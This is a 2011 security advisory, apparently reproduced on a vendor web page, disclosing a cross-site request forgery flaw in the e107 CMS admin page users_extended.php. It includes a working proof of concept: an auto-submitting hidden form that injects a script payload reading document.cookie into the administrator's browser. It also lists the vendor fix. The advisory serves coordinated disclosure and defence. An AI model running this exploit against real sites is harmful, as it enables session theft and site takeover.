Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Cross-site Request Forgery in e107

Advisory ID:HTB23004
Product:e107 website system
Vendor:e107
Vulnerable Versions:0.7.25 and probably prior
Tested Version:0.7.25
Advisory Publication:May 25, 2011 [without technical details]
Vendor Notification:May 25, 2011
Public Disclosure:June 15, 2011
Latest Update:March 23, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in e107 which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in e107
The vulnerability exists due to insufficient verification of the request origin in e107_admin/users_extended.php. A remote attacker can trick a logged-in administrator into following a specially crafted link and execute arbitrary HTML and script code via the "user_include" HTTP POST parameter in administrator`s browser in context of vulnerable website.

Exploitation example:
poc.html
<script>
setTimeout("document.getElementById('f1').src='http://HOST/e107_ad min/users_extended.php'",2000);
</script>
<iframe id=f1 src='form.html'></iframe>

form.html
<form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>
</form>
<script>
document.m.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to 0.7.26 or later

More Information:
http://e107.org/news.php?extend.884.2
http://wiki.e107.org/index.php?title=Release_Notes_0.7.26


References:
[1] High-Tech Bridge Advisory HTB23004 - https://www.immuniweb.com/advisory/HTB23004 - Cross-site Request Forgery in e107
[2] e107 - http://e107.org - e107 is an Advanced Content Publishing Solution for Website Pages, Documents, Menus and Links (Content Management System) powered by PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential